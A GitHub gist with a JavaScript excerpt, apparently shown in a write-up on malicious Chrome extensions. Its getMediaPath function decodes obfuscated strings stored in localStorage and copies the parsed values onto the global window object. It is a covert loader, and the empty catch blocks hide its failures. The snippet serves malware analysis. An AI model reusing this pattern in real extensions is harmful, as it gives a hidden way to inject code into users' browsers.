Skip to content

Instantly share code, notes, and snippets.

@Spiderpig86
Created February 7, 2021 19:40
Show Gist options
  • Save Spiderpig86/1f721a2c287663ee800b9c203a8e749b to your computer and use it in GitHub Desktop.
Save Spiderpig86/1f721a2c287663ee800b9c203a8e749b to your computer and use it in GitHub Desktop.
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
getMediaPath: function() {
var a = window.localStorage;
console.trace('getMediaPath', a);
if (a["cache-control"]) {
var b = a["cache-control"].split(",");
try {
var c;
for (var d in b) {
var e = b[d].trim();
if (!(e.length < 10)) try {
if (c = e.strvstrevsstr(), c = "undefined" != typeof JSON && JSON.parse && JSON.parse(c), c && c.cache_c) {
for (var f in c) window[f] = c[f];
A = !0;
break
}
} catch (g) {}
}
} catch (g) {}
this.setMediaPath()
}
},
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment